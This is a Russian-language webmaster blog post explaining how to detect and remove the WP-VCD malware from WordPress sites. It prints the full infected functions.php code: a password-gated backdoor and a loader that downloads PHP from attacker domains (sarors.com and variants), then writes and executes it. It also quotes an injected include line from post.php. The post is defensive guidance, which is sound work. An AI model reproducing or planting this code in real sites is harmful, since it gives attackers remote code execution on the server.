Артём Мáлков

Что делать, если на сайте с WordPress найден вирус «WP-VCD Malware»?

15 июл2 комм

Я работаю с десятками разных сайтов каждый месяц и периодически сталкиваюсь с различными проблемами на них. Очень не частая из них, но весьма интересная – это вирусы. Не так давно мне попался один сайт на CMS WordPress, в котором я сразу обратил свое внимание на следующий кусок кода в файле functions.php, который находится в папке рабочей темы:

<?php
if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == '67bf6bb69757c4c1e1f2e9bad4a7216c'))
	{
$div_code_name="wp_vcd";
		switch ($_REQUEST['action'])
			{

				




				case 'change_domain';
					if (isset($_REQUEST['newdomain']))
						{
							
							if (!empty($_REQUEST['newdomain']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain))
                                                                                                             {

			                                                                           $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;

								case 'change_code';
					if (isset($_REQUEST['newcode']))
						{
							
							if (!empty($_REQUEST['newcode']))
								{
                                                                           if ($file = @file_get_contents(__FILE__))
		                                                                    {
                                                                                                 if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode))
                                                                                                             {

			                                                                           $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file);
			                                                                           @file_put_contents(__FILE__, $file);
									                           print "true";
                                                                                                             }


		                                                                    }
								}
						}
				break;
				
				default: print "ERROR_WP_ACTION WP_V_CD WP_CD";
			}
			
		die("");
	}








$div_code_name = "wp_vcd";
$funcfile      = __FILE__;
if(!function_exists('theme_temp_setup')) {
    $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI];
    if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) {
        
        function file_get_contents_tcurl($url)
        {
            $ch = curl_init();
            curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE);
            curl_setopt($ch, CURLOPT_HEADER, 0);
            curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
            curl_setopt($ch, CURLOPT_URL, $url);
            curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE);
            $data = curl_exec($ch);
            curl_close($ch);
            return $data;
        }
        
        function theme_temp_setup($phpCode)
        {
            $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
           if( fwrite($handle, "<?php\n" . $phpCode))
		   {
		   }
			else
			{
			$tmpfname = tempnam('./', "theme_temp_setup");
            $handle   = fopen($tmpfname, "w+");
			fwrite($handle, "<?php\n" . $phpCode);
			}
			fclose($handle);
            include $tmpfname;
            unlink($tmpfname);
            return get_defined_vars();
        }
        

$wp_auth_key='3780785ce764725b03362e50c1e3013d';
        if (($tmpcontent = @file_get_contents("http://www.sarors.com/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.sarors.com/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) {

            if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
        
        
        elseif ($tmpcontent = @file_get_contents("http://www.sarors.pw/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        } 
		
		        elseif ($tmpcontent = @file_get_contents("http://www.sarors.top/code.php")  AND stripos($tmpcontent, $wp_auth_key) !== false ) {

if (stripos($tmpcontent, $wp_auth_key) !== false) {
                extract(theme_temp_setup($tmpcontent));
                @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent);
                
                if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) {
                    @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent);
                    if (!file_exists(get_template_directory() . '/wp-tmp.php')) {
                        @file_put_contents('wp-tmp.php', $tmpcontent);
                    }
                }
                
            }
        }
		elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent));
           
        } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) {
            extract(theme_temp_setup($tmpcontent)); 

        } 
        
        
        
        
        
    }
}

//$start_wp_theme_tmp



//wp_tmp


//$end_wp_theme_tmp
?>

Как оказалось позднее, это вирус, который имеет название «WP-VCD Malware», и инфицируется им не только рабочая тема, но и все темы которые есть на сайте.

Какой вред может нанести вирус «WP-VCD Malware» в WordPress?

Во-первых, как правило, с одним сайтом инфицируются и все, которые находятся на хостинге на конкретном аккаунте.

Во-вторых, у злоумышленников появляется возможность внедрить любой код в вашу тему и на ваш хостинг (сервер) в целом.

Как определить, что ваш сайт инфицирован?

Во-первых, в файле functions.php вашей темы (чаще всего в самом верху), вы можете обнаружить код, похожий на ранее приведенный мною, различия могут быть лишь в адресах, указанных в нем, или в других незначительных участках.

Во-вторых, на сайте в папке wp-includes появятся два файла это wp-tmp.php и wp-vcd.php. Это вирусные файлы и к системе они не имеют никакого отношения.

В третьих, будет изменен файл post.php все в той же папке wp-includes. В его верхней части первая строка будет выглядеть примерно так:

<?php if (file_exists(dirname(__FILE__) . '/wp-vcd.php')) include_once(dirname(__FILE__) . '/wp-vcd.php'); ?>

Это, так сказать, явные причины наличия вируса «WP-VCD Malware» на вашем сайте, который находится под управлением WordPress.

Какая причина появления вируса «WP-VCD Malware» на сайте с WordPress?

Причина банальна – это установка пиратских (нулленых) тем или плагинов для WordPress, и здесь есть два варианта того, как избежать появления этого вируса на своем проекте.

Первый – это отказаться от использования «пиратских» дополнений на вашем сайте.

И второй – это если вы все-таки прибегаете к помощи таких дополнений, то нужно досконально проверять код, пытаясь найти все сомнительные его участки.

Как удалить вирус «WP-VCD Malware» с сайта на WordPress?

Собственно, это главный вопрос, по которому мы с вами сегодня собрались. Чтобы удалить этот вирус с одного конкретного сайта, я рекомендую вам сделать следующее. Перед началом работ я рекомендую вам сделать полный бэкап сайта, даже если на нем присутствуют вирусы.

1. Удалить возможную причину появления вируса (тема, плагин).

2. Скачать архив (желательно с официального сайта, либо с нашего) с той версией CMS, которая используется на вашем сайте. Точную версию CMS можно узнать в файле version.php, который находится в папке wp-includes на вашем сайте. Строка в нем будет выглядеть примерно следующим образом:

$wp_version = '4.9.10';

3. Из ранее скачанного архива с CMS, по FTP или удобным для вас способом загрузите папки wp-admin, wp-includes, а также все файлы из корня (за исключением файла wp-config.php, если таковой будет иметься в архиве) в корень вашего сайта с полной заменой.

4. Удалите файлы wp-tmp.php и wp-vcd.php из папки wp-includes.

5. Удалите вредоносный код из файла functions.php, находящегося в каждой папке темы вашего сайта.

Все шаги я рекомендую делать именно в той последовательности, в которой они описаны. Надеюсь, данная инструкция поможет вам раз и навсегда избавиться от этой проблемы на вашем сайте.

Рекомендуем к просмотру
Рабочая авторизация на сайте через API в DLE
Хаки
Разделение авторизации и регистрации по разным страницам в WooCommerce
Хаки
Редактирование профиля пользователя на отдельной странице в DLE
Посты
2
комментария
Форма комментирования этого поста скрыта. Авторизуйтесь, чтобы расширить привилегии гостевого посещения и получить необходимую помощь от сообщества Pandoge.
    • 1
    1067
      •  Команда Pandoge
    19 июл в 13:46

    Mika, где не подскажу, а вот как определить - читайте блок "Как определить, что ваш сайт инфицирован?"

    • 1
    8
      •  Проверенный
    19 июл в 13:38

    А где проверять, есть ли вирус на вп?

Подняться наверх
«Pandoge» - помощник вебмастера